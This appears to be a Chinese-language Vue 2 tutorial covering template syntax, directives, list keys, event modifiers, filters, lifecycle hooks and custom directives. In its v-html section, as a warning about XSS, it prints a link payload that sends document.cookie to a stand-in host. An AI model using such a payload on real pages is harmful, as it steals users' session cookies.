赞
踩
Vue 是一套动态构建用户界面的渐进式JavaScript框架
组件化
模式,提供代码复用率,且让代码更好维护声明式
编码,让编码人员无需操作直接操作DOM,提高开发效率虚拟DOM
+ 优秀的 Diff 算法
,尽量复用 DOM结点Vue是一个JS框架,所以,如果想使用Vue,则在当前页面引入Vue.js文件即可。
<!--本地导入-->
<script src="本地 vue.js 文件路径"></script>
<!--在线导入-->
<!--对于制作原型或学习,你可以这样使用最新版本-->
<script src="https://cdn.jsdelivr.net/npm/vue@2.7.8/dist/vue.js"></script>
<!--对于生产环境,官方推荐链接到一个明确的版本号和构建文件,以避免新版本造成的不可预期的破坏:-->
<script src="https://cdn.jsdelivr.net/npm/vue@2.7.8"></script>
<div id="root"> <h1>Hello {{name}}</h1> </div> <script type="text/javascript"> // 关闭 Vue 生产提示 Vue.config.productionTip = false; // 创建一个Vue对象 const app = new Vue({ // 指定,该对象代表<div id="root">,也就是说,这个div中的所有内容,都被当前的app对象管理 el:"#root", // 定义vue中的数据 data(){ return{ name:"划水艺术家" } } }) </script>
效果:
Vue模板语法包括两大类:
插值语法:
- 功能:用于解析标签体内容
- 写法:
{{xxx}}
,xxx是js表达式,且可以直接读取到data中的所有区域
指令语法:
- 功能:用于解析标签(包括:标签属性、标签体内容、绑定事件…)
- 举例:
<a v-bind:href="xxx">
,xxx同样要写js表达式,且可以直接读取到data中的所有属性- 备注:Vue中有很多的指令,且形式都是v-???,此处我们只是拿v-bind举个例子
插值表达式用户把Vue中所定义的数据,显示在页面上. 插值表达式允许用户输入"JS代码片段"
语法:
{{ 变量名/对象.属性名 }}
案例:
<div id="root"> <!--双括号里面是表达式--> <h1>{{name}}</h1> <!--双括号前后跟字符--> <h1>你好,{{name}},嘿嘿</h1> <!--双括号里面表达式加空格或者字符--> <h1>{{name+ '空格或者字符' + age}}</h1> <!--双括号后加双括号--> <h1>{{name}} {{age}}</h1> <!--双括号里面还能进行变量计算--> <h1>{{age + 20}}</h1> <!--双括号只能写在标签内部,不能写在标签属性里面--> <!-- <h1 {{name}}> </h1> 报错--> </div> <script type="text/javascript"> const app = new Vue({ el:"#root", data(){ return{ name:"划水艺术家", age: 20, } } }) </script>
插值闪烁:在数据未加载完成时,页面会显示出原始的
{{}}
, 过一会才会展示正常数据。
语法:
<span v-text="name"></span> <!-- 相当于<span>{{name}}</span> -->
- v-text:把数据当作纯文本显示.
案例:
<div id="root">
<!--v-text 是放在标签属性中-->
<h1 v-text="name"></h1>
</div>
某些情况下,我们从服务器请求到的数据本身就是一个HTML代码,我们希望前端接受到数据后按照HTML格式进行解析,并且显示对应的内容,那我们就可以使用v-html指令。
语法:
<span v-html="myHtml"></span>
- v-html:遇到html标签,会正常解析
案例:
<div id="root">
<!--v-html是放在标签属性中-->
<span v-html="myHtml"></span>
</div>
<script type="text/javascript">
const app = new Vue({
el:"#root",
data(){
return{
myHtml:"<h1>划水艺术家</h1>"
}
}
})
</script>
严重注意:v-html有安全性问题!!!
<div id="root">
<div v-html="str"></div>
</div>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
new Vue({
el:'#root',
data:{
str:'<a href=javascript:location.href="http://www.xxx.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>',
}
})
</script>
当点击这个链接就进入心怀不轨之人的圈套了!!!
我们有时候希望展示的部分数据不会随着Vue的响应式而发生变化,就可以使用 v-once 指令。
<div id="root">
<h1>会变化{{name}}</h1>
<h1 v-once>不会变化{{name}}</h1>
</div>
- v-once指令后面不需要跟任何表达式
- v-once该指令表示元素和组件只渲染一次,不会随着数据的改变而改变,可以用于优化性能
该指令的作用是用于跳过这个元素和它子元素的编译过程,用于显示原本的插值语法,一般我们的插值语法会去data里面找对应的变量然后解析,可是如果我们就想让其显示为 {{name}} ,这个时候需要加 v-pre 属性,如下
<div id="root">
<h1 v-pre>{{name}}</h1>
</div>
- v-pre跳过其所在节点的编译过程。
- v-pre可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会
加快编译
在实际开发中,前端数据大多是从服务器端获取来的,如果网络不好获取的比较慢,浏览器可能会直接显示出未编译的插值标签。那么页面在渲染时可能会先显示 {{name}}
之后变为 划水艺术家
。这种效果不是我们想要的,我们可以给标签添加 v-cloak 来避免这种效果。(v-cloak 与 v-text 都可以解决插值闪烁问题,但 v-text 会清楚当前元素显示的其他内通内容,但 v-cloak 不会)
v-cloak 使用流程:
<style> [v-cloak] { display: none; } </style> <div id="root"> <h1 v-cloak>{{name}}</h1> </div> <script> const app = new Vue({ // el:"#root", data(){ return{ name:"划水艺术家", } } }) // 在 2 秒后才实例化容器 setTimeout(() => { app.$mount("#root") }, 2000) </script>
Vue中有2种数据绑定的方式:
v-bind
):数据只能从data流向页面v-model
):数据不仅能从data流向页面,还可以从页面流向data上述指令主要作用是将值插入到我们的模板的内容当中,但是,除了内容需要动态来决定外,某些属性我们也希望动态来绑定。比如:
<a>
的 href 属性<img>
元素的 src 属性使用如下:
<div id="root">
<a v-bind:href="url">百度</a>
</div>
<script>
const app = new Vue({
el: "#root",
data(){
return {
url: 'http://www.baidu.com'
}
}
})
</script>
可以将
v-bind
简写为:
<div id="root">
<a :href="url">百度</a>
</div>
v-model可以实现:数据变化的时候, 页面会自动刷新;页面变化的时候,数据也会自动变化。
注意:
- 双向绑定, 只能绑定 “文本框,单选按钮,复选框,文本域,下拉列表 ”等
- 文本框/单选按钮/textarea, 绑定的数据是字符串类型
- 单个复选框, 绑定的是boolean类型
- 多个复选框, 绑定的是数组
- select单选对应字符串,多选对应是数组
<div id="root">
用户名: <input type="text" v-model="username"/>
</div>
<script type="text/javascript">
new Vue({
el:"#root",
data:{
//该属性值和文本框的value属性值,保持一致
username:""
}
});
</script>
<div id="root">
<input type="checkbox" v-model="agree">同意<br>
</div>
<script type="text/javascript">
new Vue({
el:"#root",
data:{
agree:true
}
});
</script>
<div id="root">
<input type="checkbox" value="爬山" v-model="hobby">爬山<br>
<input type="checkbox" value="游泳" v-model="hobby">游泳<br>
<input type="checkbox" value="篮球" v-model="hobby">篮球<br>
</div>
<script type="text/javascript">
new Vue({
el:"#root",
data:{
//数组中的值,就是被选中的元素的value属性值
hobby:["爬山","游泳"]
}
});
</script>
为了方便对用户输入的内容进行处理,Vue 为 v-model 指令提供了 3 个修饰符
修饰符 | 作用 | 示例 |
---|---|---|
.number | 自动将用户的输入值转化为数值类型 | <input v-model.number = "age" /> |
.trim | 自动过滤用户输入的首尾空白字符 | <input v-module.trim = "msg" /> |
.lazy | 在 change 时而非 input 时更新 | <input v-model.lazy = "msg" /> |
lazy修饰符
- 默认情况下, v-model 默认是在 input 事件中同步输入框的数据的。
- 也就是说,一旦有数据发生改变对应的 data 中的数据就会自动发生改变。
- lazy 修饰符可以让数据在失去焦点或者回车时才会更新。
条件渲染指令用来辅助开发者按需控制 DOM 的显示与隐藏 。 v - if
、v-else-if
、v-else
这三个指令与JavaScript的条件语句 if、else、else if 类似,Vue 的条件指令可以根据表达式的值在DOM中渲染或销毁元素或组件
<div id="root">
<h1 v-if="age >= 18">你成年了</h1>
</div>
<script type="text/javascript">
const app = new Vue({
el:"#root",
data(){
return{
age: 20
}
}
})
</script>
v-if的原理:
- v-if 后面的条件为 false时,对应的元素以及子元素不会渲染,也就是根本没有对应的标签出现在DOM中
<div id="root">
<h1 v-if="age >= 18">你成年了</h1>
<h1 v-else-if="age >= 12">你是个小伙子</h1>
</div>
<div id="root">
<h1 v-if="age >= 18">你成年了</h1>
<h1 v-else-if="age >= 12">你是个小伙子</h1>
<h1 v-else>你是个小学生</h1>
</div>
v-show的用法和v-if非常相似,也用于决定一个元素是否渲染:
<div id="root">
<h1 v-show="age >= 18">你成年了</h1>
</div>
<script type="text/javascript">
const app = new Vue({
el:"#root",
data(){
return{
age: 17
}
}
})
</script>
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>列表渲染</title> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <div id="root"> <h2>人员列表(遍历数组)</h2> <ul> <li v-for="(p,index) in persons" :key="index"> {{p.name}}-{{p.age}} </li> </ul> <h2>汽车信息(遍历对象)</h2> <ul> <li v-for="(value,k) in car" :key="k"> {{k}}-{{value}} </li> </ul> <h2>遍历字符串</h2> <ul> <li v-for="(char,index) in str" :key="index"> {{char}}-{{index}} </li> </ul> <h2>遍历指定次数</h2> <ul> <li v-for="(number,index) in 5" :key="index"> {{index}}-{{number}} </li> </ul> </div> <script type="text/javascript"> new Vue({ el:'#root', data:{ persons:[ {id:'001',name:'张三',age:18}, {id:'002',name:'李四',age:19}, {id:'003',name:'王五',age:20} ], car:{ name:'奥迪A8', price:'70万', color:'黑色' }, str:'hello' } }) </script> </body> </html>
v-for
时,给对应的元素或组件加上一个 :key
属性,key的作用主要是为了高效的更新虚拟DOM。当列表的数据变化时,默认情况下, Vue 会尽可能的复用已存在的 DOM 元素,从而提升渲染的性能 。案例引入:
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>key的原理</title> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <div id="root"> <h2>人员列表</h2> <button @click.once="add">添加老刘</button> <ul> <li v-for="(p,index) in persons" :key="index"> {{p.name}} - {{p.age}} <input type="text"> </li> </ul> </div> <script type="text/javascript"> new Vue({ el:'#root', data:{ persons:[ {id:'001',name:'张三',age:18}, {id:'002',name:'李四',age:19}, {id:'003',name:'王五',age:20} ] }, methods: { add(){ const p = {id:'004',name:'老刘',age:40} this.persons.unshift(p) } }, }) </script> </body> </html>
运行效果:
上述案例在增加了“老刘”后,每个人物后面的 input 输入框紊乱,现在我们把 v-for
的 :key
改为 p.id
试一试。
<ul>
<li v-for="(p,index) in persons" :key="p.id">
{{p.name}} - {{p.age}}
<input type="text">
</li>
</ul>
运行效果:
运行结果正常,要明白这其中的诡异,我们就得明白Vue的虚拟DOM对比算法。
虚拟DOM中key的作用:
key
是虚拟DOM中对象的标识,当数据发生变化时,Vue会根据新数据生成新的虚拟DOM,随后Vue进行新虚拟DOM与旧虚拟DOM的差异比较,比较规则如下:
对比规则:
① 旧虚拟DOM中找到了与新虚拟DOM相同的
key
:
- 若虚拟DOM中内容没变, 直接使用之前的真实DOM
- 若虚拟DOM中内容变了, 则生成新的真实DOM,随后替换掉页面中之前的真实DOM
② 旧虚拟DOM中未找到与新虚拟DOM相同的
key
:创建新的真实DOM,随后渲染到到页面
用index作为key可能会引发的问题:
① 若对数据进行逆序添加、逆序删除等破坏顺序操作:会产生没有必要的真实DOM更新,界面效果没问题, 但效率低
② 若结构中还包含输入类的DOM:会产生错误DOM更新,界面有问题
开发中如何选择key?
① 最好使用每条数据的唯一标识作为key,比如id、手机号、身份证号、学号等唯一值
② 如果不存在对数据的逆序添加、逆序删除等破坏顺序的操作,仅用于渲染列表,使用index作为key是没有问题的
在前端开发中,我们经常需要监听点击、拖拽、键盘事件等等,这个时候需要使用 v-on
。
@
DOM对象 | vue事件绑定 |
---|---|
onclick | v-on:click |
oninput | v-on:input |
onkeyup | v-on:keyup |
<div id="root"> <h1>count = {{count}}</h1> <button v-on:click="sub">-</button> <button @click="add">+</button> </div> <script> const app = new Vue({ el:"#root", data(){ return { count: 0, } }, methods: { add(){ this.count++; }, sub(){ this.count--; } } }) </script>
如果我们的事件要传递参数,代码如下:
<div id="root"> <button @click="method1">点我1</button> <button @click="method2()">点我2</button> </div> <script> new Vue({ el:'#root', methods:{ method1(arg1){ console.log("method1: " , arg1); }, method2(arg1){ console.log("method2: " , arg1); } } }) </script>
在使用 v-on 绑定事件时:
事件对象
当我们带参数又要带有事件参数时,我们要使用 $event
:
<div id="root"> <button @click="method3($event,2,3,4)">点我3</button> </div> <script> new Vue({ el:'#root', methods:{ method3(event, a, b, c){ console.log("event = " , event); console.log("a = " , a); console.log("b = " , b); console.log("c = " , c); } } }) </script>
Vue中的事件修饰符:
prevent
:阻止默认事件(常用)stop
:阻止事件冒泡,也就是当前元素发生事件,但当前元素的父元素不发生该事件(常用)once
:事件只触发一次(常用)capture
:使用事件捕获模式, 主动获取子元素发生事件, 把获取到的事件当自己的事件执行self
:只有 event.target
是当前操作的元素时才触发事件passive
:事件的默认行为立即执行,无需等待事件回调执行完毕修饰符可以连续写,比如可以这么用:@click.prevent.stop="showInfo"
键盘上的每个按键都有自己的名称和编码,例如:Enter(13)。而Vue还对一些常用按键起了别名方便使用。
Vue中常用的按键别名:
- 回车:enter
- 删除:delete (捕获“删除”和“退格”键)
- 退出:esc
- 空格:space
- 换行:tab (特殊,必须配合
keydown
去使用)- 上:up
- 下:down
- 左:left
- 右:right
注意:
系统修饰键(用法特殊):
ctrl
、alt
、shift
、meta
- 配合
keyup
使用:按下修饰键的同时,再按下其他键,随后释放其他键,事件才被触发- 配合
keydown
使用:正常触发事件
可以使用
keyCode
去指定具体的按键,比如:@keydown.13=“showInfo”
Vue.config.keyCodes.自定义键名 = 键码
,可以自定义按键别名
在官方文档中,是这样说明的:可被用于一些常见的文本格式化,vue中过滤器的作用可被用于一些常见的文本格式化。(也就是修饰文本,但是文本内容不会改变)
通俗点说过滤器就是用来筛选出符合条件的,丢弃不符合条件的
过滤器分为全局过滤器与局部过滤器
过滤器:
定义:对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理)。
语法:
① 注册过滤器:
<script type="text/javascript"> //全局过滤器 Vue.filter('过滤器1',function(value){ return ""; }) new Vue({ el:'#root', //局部过滤器 filters:{ 过滤器2(value){ return ""; } } }) </script>
② 使用过滤器:
<h1> {{ xxx | 过滤器}} </h1>
<a :href = "xxx | 过滤器名" ></a>
备注:
- 过滤器可以接收额外参数,多个过滤器也可以串联
- 过滤器并没有改变原本的数据,而是产生新的对应的数据
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>过滤器</title> <script type="text/javascript" src="../js/vue.js"></script> <script src="https://cdn.bootcdn.net/ajax/libs/dayjs/1.10.6/dayjs.min.js"></script> </head> <body> <div id="root"> <h2>时间</h2> <h3>当前时间戳:{{time}}</h3> <h3>转换后时间:{{time | timeFormater()}}</h3> <h3>转换后时间:{{time | timeFormater('YYYY-MM-DD HH:mm:ss')}}</h3> <h3>截取年月日:{{time | timeFormater() | mySlice}}</h3> </div> </body> <script type="text/javascript"> //全局过滤器 Vue.filter('mySlice',function(value){ return value.slice(0,11) }) new Vue({ el:'#root', data:{ time:1658929744, }, //局部过滤器 filters:{ timeFormater(value, str="YYYY年MM月DD日 HH:mm:ss"){ return dayjs(value).format(str) } } }) </script> </html>
(1)什么是Vue生命周期?
官网的解释:Vue 实例从创建到销毁的过程,就是生命周期。也就是从开始创建、初始化数据、编译模板、挂载Dom→渲染、更新→渲染、卸载等一系列过程,我们称这是 Vue 的生命周期。
(2)vue生命周期的作用是什么?
Vue生命周期中有多个事件钩子,让我们在控制整个Vue实例过程时更容易形成好的逻辑。
(3)vue生命周期总共有几个阶段?
可以总共分为8个阶段:
(4)第一次页面加载会触发哪几个钩子?
第一次页面加载时会触发 beforeCreate
, created
, beforeMount
, mounted
这几个钩子
(5)DOM 渲染在 哪个周期中就已经完成?
DOM 渲染在 mounted
中就已经完成了。
(6)简单描述每个周期具体适合哪些场景?
生命周期钩子的一些使用方法:
beforecreate
: 可以在此阶段加loading事件,在加载实例时触发;
created
: 初始化完成时的事件写在这里,如在这结束loading事件,异步请求也适宜在这里调用;
mounted
: 挂载元素,获取到DOM节点;
updated
: 如果对数据统一处理,在这里写上相应函数;
beforeDestroy
: 可以做一个确认停止事件的确认框;
nextTick
: 更新数据后立即操作dom;
常用的生命周期钩子:
mounted
:发送ajax请求、启动定时器、绑定自定义事件、订阅消息等初始化操作
beforeDestroy
:清除定时器、解绑自定义事件、取消订阅消息等收尾工作
关于销毁Vue实例:
销毁后借助Vue开发者工具看不到任何信息
销毁后自定义事件会失效,但原生DOM事件依然有效
一般不会在beforeDestroy操作数据,因为即便操作数据,也不会再触发更新流程了
测试案例
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>生命周期测试案例</title> </head> <body> <div id="app"> <p>{{message}}</p> <button @click="changeMsg">改变msg</button> </div> </body> <script src="js/vue.js"></script> <script> var vm = new Vue({ el: '#app', data: { message: '你好呀~~~' }, methods: { changeMsg () { this.message = '拜拜咯~~~' } }, // 生命周期钩子 beforeCreate() { console.log('------初始化前------') console.log("msg = ", this.message) console.log("el = ", this.$el) }, created () { console.log('------初始化完成------') console.log("msg = ", this.message) console.log("el = ", this.$el) }, beforeMount () { console.log('------挂载前---------') console.log("msg = ", this.message) console.log("el = ", this.$el) }, mounted () { console.log('------挂载完成---------') console.log("msg = ", this.message) console.log("el = ", this.$el) }, beforeUpdate () { console.log('------更新前---------') console.log("msg = ", this.message) console.log("el = ", this.$el) }, updated() { console.log('------更新后---------') console.log("msg = ", this.message) console.log("el = ", this.$el) } }) </script> </html>
从上面我们可以看出几点:
beforeCreate
,created
, beforeMount
, mounted
;beforeCreate
,拿不到data中的数据,此时数据还未初始化;created
中,可以拿到data中的message数据了,此时数据初始化已经完成注册一个自定义指令有全局注册与局部注册。
new Vue({
directives:{指令名:配置对象}
})
new Vue({
directives:{指令名:回调函数}
})
测试案例:
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>自定义指令</title> <script type="text/javascript" src="../js/vue.js"></script> </head> <!-- 需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍。 需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点。 --> <body> <div id="root"> <h2>当前的n值是:<span v-text="n"></span> </h2> <h2>放大10倍后的n值是:<span v-big="n"></span> </h2> <button @click="n++">点我n+1</button> <hr/> <input type="text" v-fbind:value="n"> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false new Vue({ el:'#root', data:{ n:1 }, directives:{ // 自定义指令 big(element,binding){ console.log('big',this) //注意此处的this是window element.innerText = binding.value * 10 }, fbind:{ // 指令与元素成功绑定时(一上来) bind(element,binding){ element.value = binding.value }, // 指令所在元素被插入页面时 inserted(element,binding){ element.focus() }, // 指令所在的模板被重新解析时 update(element,binding){ element.value = binding.value } } } }) </script> </html>
全局注册注册主要是用过Vue.directive
方法进行注册
Vue.directive('fbind',{
//指令与元素成功绑定时(一上来)
bind(element,binding){
element.value = binding.value
},
//指令所在元素被插入页面时
inserted(element,binding){
element.focus()
},
//指令所在的模板被重新解析时
update(element,binding){
element.value = binding.value
}
})
自定义指令也像组件那样存在钩子函数:
bind
:只调用一次,指令第一次绑定到元素时调用。在这里可以进行一次性的初始化设置inserted
:被绑定元素插入父节点时调用 (仅保证父节点存在,但不一定已被插入文档中)update
:所在组件的 VNode 更新时调用,但是可能发生在其子 VNode更新之前。指令的值可能发生了改变,也可能没有。但是你可以通过比较更新前后的值来忽略不必要的模板更新componentUpdated
:指令所在组件的 VNode 及其子 VNode 全部更新后调用unbind
:只调用一次,指令与元素解绑时调用注意:
指令定义时不加v-
,但使用时要加v-
指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。